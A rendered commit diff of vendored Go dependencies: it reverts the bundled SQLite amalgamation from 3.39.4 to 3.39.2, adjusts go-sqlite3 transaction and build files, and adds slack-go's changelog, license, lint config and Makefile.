if( !aNew ){
rc = SQLITE_NOMEM;
break;
@@ -192008,7 +191912,7 @@ SQLITE_PRIVATE int sqlite3Fts3Incrmerge(Fts3Table *p, int nMerge, int nMin){
/* Allocate space for the cursor, filter and writer objects */
const int nAlloc = sizeof(*pCsr) + sizeof(*pFilter) + sizeof(*pWriter);
pWriter = (IncrmergeWriter *)sqlite3_malloc64(nAlloc);
pWriter = (IncrmergeWriter *)sqlite3_malloc(nAlloc);
if( !pWriter ) return SQLITE_NOMEM;
pFilter = (Fts3SegFilter *)&pWriter[1];
pCsr = (Fts3MultiSegReader *)&pFilter[1];
@@ -192644,7 +192548,7 @@ SQLITE_PRIVATE int sqlite3Fts3DeferredTokenList(
return SQLITE_OK;
}
pRet = (char *)sqlite3_malloc64(p->pList->nData);
pRet = (char *)sqlite3_malloc(p->pList->nData);
if( !pRet ) return SQLITE_NOMEM;
nSkip = sqlite3Fts3GetVarint(p->pList->aData, &dummy);
@@ -192664,7 +192568,7 @@ SQLITE_PRIVATE int sqlite3Fts3DeferToken(
int iCol /* Column that token must appear in (or -1) */
){
Fts3DeferredToken *pDeferred;
pDeferred = sqlite3_malloc64(sizeof(*pDeferred));
pDeferred = sqlite3_malloc(sizeof(*pDeferred));
if( !pDeferred ){
return SQLITE_NOMEM;
}
@@ -204243,7 +204147,7 @@ static int geopolyUpdate(
sqlite3_free(p);
nChange = 1;
}
for(jj=1; jj<nData-2; jj++){
for(jj=1; jj<pRtree->nAux; jj++){
nChange++;
sqlite3_bind_value(pUp, jj+2, aData[jj+2]);
}
@@ -204846,9 +204750,8 @@ static void icuRegexpFunc(sqlite3_context *p, int nArg, sqlite3_value **apArg){
if( U_SUCCESS(status) ){
sqlite3_set_auxdata(p, 0, pExpr, icuRegexpDelete);
pExpr = sqlite3_get_auxdata(p, 0);
}
if( !pExpr ){
}else{
assert(!pExpr);
icuFunctionError(p, "uregex_open", status);
return;
}
@@ -236734,7 +236637,7 @@ static void fts5SourceIdFunc(
){
assert( nArg==0 );
UNUSED_PARAM2(nArg, apUnused);
sqlite3_result_text(pCtx, "fts5: 2022-09-29 15:55:41 a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309", -1, SQLITE_TRANSIENT);
sqlite3_result_text(pCtx, "fts5: 2022-07-21 15:24:47 698edb77537b67c41adc68f9b892db56bcf9a55e00371a61420f3ddd668e6603", -1, SQLITE_TRANSIENT);
}
/*
+3 -3
View File
@@ -147,9 +147,9 @@ extern "C" {
** [sqlite3_libversion_number()], [sqlite3_sourceid()],
** [sqlite_version()] and [sqlite_source_id()].
*/
#define SQLITE_VERSION "3.39.4"
#define SQLITE_VERSION_NUMBER 3039004
#define SQLITE_SOURCE_ID "2022-09-29 15:55:41 a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309"
#define SQLITE_VERSION "3.39.2"
#define SQLITE_VERSION_NUMBER 3039002
#define SQLITE_SOURCE_ID "2022-07-21 15:24:47 698edb77537b67c41adc68f9b892db56bcf9a55e00371a61420f3ddd668e6603"
/*
** CAPI3REF: Run-Time Library Version Numbers
+2 -4
View File
@@ -494,12 +494,10 @@ func (ai *aggInfo) Done(ctx *C.sqlite3_context) {
// Commit transaction.
func (tx *SQLiteTx) Commit() error {
_, err := tx.c.exec(context.Background(), "COMMIT", nil)
if err != nil {
// sqlite3 may leave the transaction open in this scenario.
if err != nil && err.(Error).Code == C.SQLITE_BUSY {
// sqlite3 will leave the transaction open in this scenario.
// However, database/sql considers the transaction complete once we
// return from Commit() - we must clean up to honour its semantics.
// We don't know if the ROLLBACK is strictly necessary, but according
// to sqlite's docs, there is no harm in calling ROLLBACK unnecessarily.
tx.c.exec(context.Background(), "ROLLBACK", nil)
}
return err
-14
View File
@@ -1,14 +0,0 @@
// Copyright (C) 2022 Yasuhiro Matsumoto <[email protected]>.
//
// Use of this source code is governed by an MIT-style
// license that can be found in the LICENSE file.
// +build sqlite_math_functions
package sqlite3
/*
#cgo CFLAGS: -DSQLITE_ENABLE_MATH_FUNCTIONS
#cgo LDFLAGS: -lm
*/
import "C"
-15
View File
@@ -1,15 +0,0 @@
// Copyright (C) 2022 Yasuhiro Matsumoto <[email protected]>.
//
// Use of this source code is governed by an MIT-style
// license that can be found in the LICENSE file.
//go:build sqlite_os_trace
// +build sqlite_os_trace
package sqlite3
/*
#cgo CFLAGS: -DSQLITE_FORCE_OS_TRACE=1
#cgo CFLAGS: -DSQLITE_DEBUG_OS_TRACE=1
*/
import "C"
+1
View File
@@ -12,6 +12,7 @@ package sqlite3
#cgo CFLAGS: -fno-stack-check
#cgo CFLAGS: -fno-stack-protector
#cgo CFLAGS: -mno-stack-arg-probe
#cgo LDFLAGS: -lmingwex -lmingw32
#cgo windows,386 CFLAGS: -D_USE_32BIT_TIME_T
*/
import "C"
-30
View File
@@ -1,30 +0,0 @@
package common
import "fmt"
type Warnings struct {
List []error
Verbose bool
}
func (w *Warnings) Add(err error) {
w.List = append(w.List, err)
}
func (w *Warnings) Reference() error {
if len(w.List) > 0 {
return w
}
return nil
}
func (w *Warnings) Error() string {
if w.Verbose {
str := ""
for i, e := range w.List {
str += fmt.Sprintf("\tError %d: %s\n", i, e.Error())
}
return str
}
return fmt.Sprintf("Number of warnings: %v", len(w.List))
}
+3
View File
@@ -0,0 +1,3 @@
*.test
*~
.idea/
+14
View File
@@ -0,0 +1,14 @@
run:
timeout: 6m
issues-exit-code: 1
linters:
disable-all: true
enable:
- goimports
- govet
- interfacer
- misspell
- structcheck
- unconvert
issues:
new: true
+103
View File
@@ -0,0 +1,103 @@
### v0.7.0 - October 2, 2020
full differences can be viewed using `git log --oneline --decorate --color v0.6.6..v0.7.0`
Thank you for many contributions!
#### Breaking Changes
- Add ScheduledMessage type ([#753])
- Add description field to option block object ([#783])
- Fix wrong conditional branch ([#782])
- The behavior of the user's application may change.(The current behavior is incorrect)
#### Highlights
- example: fix to start up a server ([#773])
- example: Add explanation how the message could be sent in a proper way ([#787])
- example: fix typo in error log ([#779])
- refactor: Make GetConversationsParameters.ExcludeArchived optional ([#791])
- refactor: Unify variables to "config" ([#800])
- refactor: Rename wrong file name ([#810])
- feature: Add SetUserRealName for change user's realName([#755])
- feature: Add response metadata to slack response ([#772])
- feature: Add response metadata to slack response ([#778])
- feature: Add select block element conversations filter field ([#790])
- feature: Add Root field to MessageEvent to support thread_broadcast subtype ([#793])
- feature: Add bot_profile to messages ([#794])
- doc: Add logo to README ([#813])
- doc: Update current project status and Add changelog for v0.7.0 ([#814])
[#753]: https://github.com/slack-go/slack/pull/753
[#755]: https://github.com/slack-go/slack/pull/755
[#772]: https://github.com/slack-go/slack/pull/772
[#773]: https://github.com/slack-go/slack/pull/773
[#778]: https://github.com/slack-go/slack/pull/778
[#779]: https://github.com/slack-go/slack/pull/779
[#782]: https://github.com/slack-go/slack/pull/782
[#783]: https://github.com/slack-go/slack/pull/783
[#787]: https://github.com/slack-go/slack/pull/787
[#790]: https://github.com/slack-go/slack/pull/790
[#791]: https://github.com/slack-go/slack/pull/791
[#793]: https://github.com/slack-go/slack/pull/793
[#794]: https://github.com/slack-go/slack/pull/794
[#800]: https://github.com/slack-go/slack/pull/800
[#810]: https://github.com/slack-go/slack/pull/810
[#813]: https://github.com/slack-go/slack/pull/813
[#814]: https://github.com/slack-go/slack/pull/814
### v0.6.0 - August 31, 2019
full differences can be viewed using `git log --oneline --decorate --color v0.5.0..v0.6.0`
thanks to everyone who has contributed since January!
#### Breaking Changes:
- Info struct has had fields removed related to deprecated functionality by slack.
- minor adjustments to some structs.
- some internal default values have changed, usually to be more inline with slack defaults or to correct inability to set a particular value. (Message Parse for example.)
##### Highlights:
- new slacktest package easy mocking for slack client. use, enjoy, please submit PRs for improvements and default behaviours! shamelessly taken from the [slack-test repo](https://github.com/lusis/slack-test) thank you lusis for letting us use it and bring it into the slack repo.
- blocks, blocks, blocks.
- RTM ManagedConnection has undergone a significant cleanup.
in particular handles backoffs gracefully, removed many deadlocks,
and Disconnect is now much more responsive.
### v0.5.0 - January 20, 2019
full differences can be viewed using `git log --oneline --decorate --color v0.4.0..v0.5.0`
- Breaking changes: various old struct fields have been removed or updated to match slack's api.
- deadlock fix in RTM disconnect.
### v0.4.0 - October 06, 2018
full differences can be viewed using `git log --oneline --decorate --color v0.3.0..v0.4.0`
- Breaking Change: renamed ApplyMessageOption, to mark it as unsafe,
this means it may break without warning in the future.
- Breaking: Msg structure files field changed to an array.
- General: implementation for new security headers.
- RTM: deadlock fix between connect/disconnect.
- Events: various new fields added.
- Web: various fixes, new fields exposed, new methods added.
- Interactions: minor additions expect breaking changes in next release for dialogs/button clicks.
- Utils: new methods added.
### v0.3.0 - July 30, 2018
full differences can be viewed using `git log --oneline --decorate --color v0.2.0..v0.3.0`
- slack events initial support added. (still considered experimental and undergoing changes, stability not promised)
- vendored depedencies using dep, ensure using up to date tooling before filing issues.
- RTM has improved its ability to identify dead connections and reconnect automatically (worth calling out in case it has unintended side effects).
- bug fixes (various timestamp handling, error handling, RTM locking, etc).
### v0.2.0 - Feb 10, 2018
Release adds a bunch of functionality and improvements, mainly to give people a recent version to vendor against.
Please check [0.2.0](https://github.com/nlopes/slack/releases/tag/v0.2.0)
### v0.1.0 - May 28, 2017
This is released before adding context support.
As the used context package is the one from Go 1.7 this will be the last
compatible with Go < 1.7.
Please check [0.1.0](https://github.com/nlopes/slack/releases/tag/v0.1.0)
### v0.0.1 - Jul 26, 2015
If you just updated from master and it broke your implementation, please
check [0.0.1](https://github.com/nlopes/slack/releases/tag/v0.0.1)
+23
View File
@@ -0,0 +1,23 @@
Copyright (c) 2015, Norberto Lopes
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+36
View File
@@ -0,0 +1,36 @@
.PHONY: help deps fmt lint test test-race test-integration
help:
@echo ""
@echo "Welcome to slack-go/slack make."
@echo "The following commands are available:"
@echo ""
@echo " make deps : Fetch all dependencies"
@echo " make fmt : Run go fmt to fix any formatting issues"
@echo " make lint : Use go vet to check for linting issues"
@echo " make test : Run all short tests"
@echo " make test-race : Run all tests with race condition checking"
@echo " make test-integration : Run all tests without limiting to short"
@echo ""
@echo " make pr-prep : Run this before making a PR to run fmt, lint and tests"
@echo ""
deps:
@go mod tidy
fmt:
@go fmt .
lint:
@go vet .
test:
@go test -v -count=1 -timeout 300s -short ./...
test-race:
@go test -v -count=1 -timeout 300s -short -race ./...
test-integration:
@go test -v -count=1 -timeout 600s ./...
pr-prep: fmt lint test-race test-integration
Loaded 100 of 1033 files, more files were not shown because too many files have changed in this diff. Show more